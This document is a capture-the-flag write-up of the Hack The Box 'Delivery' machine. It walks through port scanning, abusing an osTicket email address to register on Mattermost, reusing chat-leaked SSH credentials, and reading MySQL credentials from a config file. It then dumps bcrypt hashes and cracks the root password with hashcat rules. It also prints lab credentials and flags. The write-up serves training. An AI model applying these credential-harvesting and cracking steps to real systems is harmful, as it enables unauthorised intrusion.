> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/delivery.md).

# Delivery

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FAAChKuoqUvIN3v6BUDSZ%2FDelivery.png?alt=media&amp;token=1ae01e13-d3e9-42a6-a085-c22e93c134b0" alt="" width="563"><figcaption><p>Delivery</p></figcaption></figure>

```bash
ping -c 1 10.10.10.222                                                                 
PING 10.10.10.222 (10.10.10.222) 56(84) bytes of data.
64 bytes from 10.10.10.222: icmp_seq=1 ttl=63 time=61.1 ms

--- 10.10.10.222 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 61.087/61.087/61.087/0.000 ms
```

* Host is Linux.
* Host is alive.

```bash
sudo nmap 10.10.10.222 -p- -T5 -sC -sV -oN delivery 
```

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome
|_http-server-header: nginx/1.14.2
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sat, 02 Mar 2024 14:02:34 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: iif9p3fz3b8mdn3hkjtt33icpe
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sat, 02 Mar 2024 14:09:22 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sat, 02 Mar 2024 14:09:22 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8065-TCP:V=7.94SVN%I=7%D=3/2%Time=65E3330F%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges
SF::\x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20publi
SF:c\r\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-ances
SF:tors\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Sat,\x200
SF:2\x20Mar\x202024\x2014:02:34\x20GMT\r\nX-Frame-Options:\x20SAMEORIGIN\r
SF:\nX-Request-Id:\x20iif9p3fz3b8mdn3hkjtt33icpe\r\nX-Version-Id:\x205\.30
SF:\.0\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20Sat,
SF:\x2002\x20Mar\x202024\x2014:09:22\x20GMT\r\n\r\n<!doctype\x20html><html
SF:\x20lang=\"en\"><head><meta\x20charset=\"utf-8\"><meta\x20name=\"viewpo
SF:rt\"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1,us
SF:er-scalable=0\"><meta\x20name=\"robots\"\x20content=\"noindex,\x20nofol
SF:low\"><meta\x20name=\"referrer\"\x20content=\"no-referrer\"><title>Matt
SF:ermost</title><meta\x20name=\"mobile-web-app-capable\"\x20content=\"yes
SF:\"><meta\x20name=\"application-name\"\x20content=\"Mattermost\"><meta\x
SF:20name=\"format-detection\"\x20content=\"telephone=no\"><link\x20re")%r
SF:(HTTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:\
SF:x20Sat,\x2002\x20Mar\x202024\x2014:09:22\x20GMT\r\nContent-Length:\x200
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCook
SF:ie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 485.41 seconds
```

Firstly lets check HTTP.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FPMIfsAQR849xCwh5fjoL%2FPasted%20image%2020240302173817.png?alt=media&amp;token=f759bc3c-b8e0-45d4-a500-bdf36e0b04a5" alt=""><figcaption></figcaption></figure>

Main page looks like this, this is static page. Nothing interesting actually.

But if we click on  <mark style="color:red;">"Contact Us"</mark> button.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FTCuHZDfljHdd4MtEa5Ek%2FPasted%20image%2020240302173834.png?alt=media&amp;token=c65ce721-d1e6-40a7-9376-2ca7051e112e" alt=""><figcaption></figcaption></figure>

Link to <mark style="color:blue;">"HelpDesk"</mark> server. If we navigate to it. We have this redirection.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FuRiGCURInZDwu4GxQ7Gr%2FPasted%20image%2020240302173848.png?alt=media&amp;token=74c04ccf-599e-49f5-a4ca-f218608bb1f0" alt=""><figcaption></figcaption></figure>

I will add this domain to my <mark style="color:purple;">"/etc/hosts"</mark> and navigate again.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F7SWilCfRRgMRX0VxU3WP%2FPasted%20image%2020240302173910.png?alt=media&amp;token=4746cf25-2123-4b37-8c7a-f6851f5fd47b" alt=""><figcaption><p>osTicket</p></figcaption></figure>

Well we can try to create a ticket but firstly lets check other services.

## <mark style="color:green;">HTTP:8065</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FVXo1wk5kFiKYF5SRKXP6%2FPasted%20image%2020240302174053.png?alt=media&amp;token=5956acd7-5173-4d15-9d01-7d5cec92ec33" alt=""><figcaption><p>Mattermost</p></figcaption></figure>

> Mattermost is an open-source, self-hosted messaging platform that allows teams to communicate and collaborate in real-time. It's often used as an alternative to proprietary messaging services like Slack or Microsoft Teams.

I will try to create new account, but this need valid email and confirmation.

There is no useful exploits for this service.

## <mark style="color:red;">maildeliverer shell</mark>

After thinking couple of minutes, I figured out that I need to send a ticket to HelpDesk for confirmation.

I will try it.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FSrVEJEoSU7qmOj7I0Y3f%2FPasted%20image%2020240302174001.png?alt=media&amp;token=7c7db225-6ee1-42e3-936c-45f88ad3cd51" alt=""><figcaption></figcaption></figure>

After waiting like 1 minute, I checked my ticket request.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FN5PB04JJnRVAH2jw56Hr%2FPasted%20image%2020240302174035.png?alt=media&amp;token=3ea1098f-446b-4d38-b609-1dd40efee480" alt=""><figcaption></figcaption></figure>

And nice, I got successful response, I need to navigate to this link to confirm my account.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2Fw8PAyMM4PWph6T0IB2hu%2FPasted%20image%2020240302174121.png?alt=media&amp;token=b5fffc2f-8dd6-4585-b9d3-5734bc45dcdf" alt=""><figcaption></figcaption></figure>

In the chat we can see possible valid credentials for SSH, lets try them.

```bash
ssh maildeliverer@delivery.htb
The authenticity of host 'delivery.htb (10.10.10.222)' can't be established.
ED25519 key fingerprint is SHA256:AGdhHnQ749stJakbrtXVi48e6KTkaMj/+QNYMW+tyj8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'delivery.htb' (ED25519) to the list of known hosts.
maildeliverer@delivery.htb's password: 
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from 10.10.14.5
maildeliverer@Delivery:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for maildeliverer: 
Sorry, user maildeliverer may not run sudo on Delivery.
```

We got a shell :)

But bad news we can run sudo...

```bash
maildeliverer@Delivery:~$ cat user.txt
014277f13444bdc741cfab441b7fd93d
```

user.flag

## <mark style="color:red;">root shell</mark>

```bash
maildeliverer@Delivery:/opt/mattermost/config$ less config.json
```

There are mysql credentials. Lets enumerate it.

```bash
mmuser:Crack_The_MM_Admin_PW
```

```sql
maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 76
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.000 sec)
```

```sql
MariaDB [mattermost]> select username,password from Users;
+----------------------------------+--------------------------------------------------------------+
| username                         | password                                                     |
+----------------------------------+--------------------------------------------------------------+
| musor                            | $2a$10$WkylPKvcWzMxlfADqcb3OulcX4RLBkJYmbp1nBxyYnJ8ZtxRFOTae |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| test                             | $2a$10$aEe/05RmMGxP4fo6ADnw0OGUv1hI3SWF5yG4nHjCAkmAcYzIVRwQS |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+
9 rows in set (0.000 sec)

MariaDB [mattermost]> exit
Bye
```

There is root hash, lets crack it.

> In the chat there was a hint about password pattern reusing. Main word is <mark style="color:red;">**"PleaseSubcribe"**</mark>.
>
> So I will put this in txt file and mutate with hashcat rules.

```bash
hashcat hash pass -r /usr/share/hashcat/rules/best64.rule -m 3200
```

```sql
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
```

Successfully cracked!

Lets check this password, lets see if this is working.

```bash
maildeliverer@Delivery:/opt/mattermost/config$ su root
Password: 
root@Delivery:/opt/mattermost/config# 
```

Yup, we are root :) lets get a root.flag

```bash
root@Delivery:~# cat root.txt
ded6fd528851f00109e1653adf5520ff
```
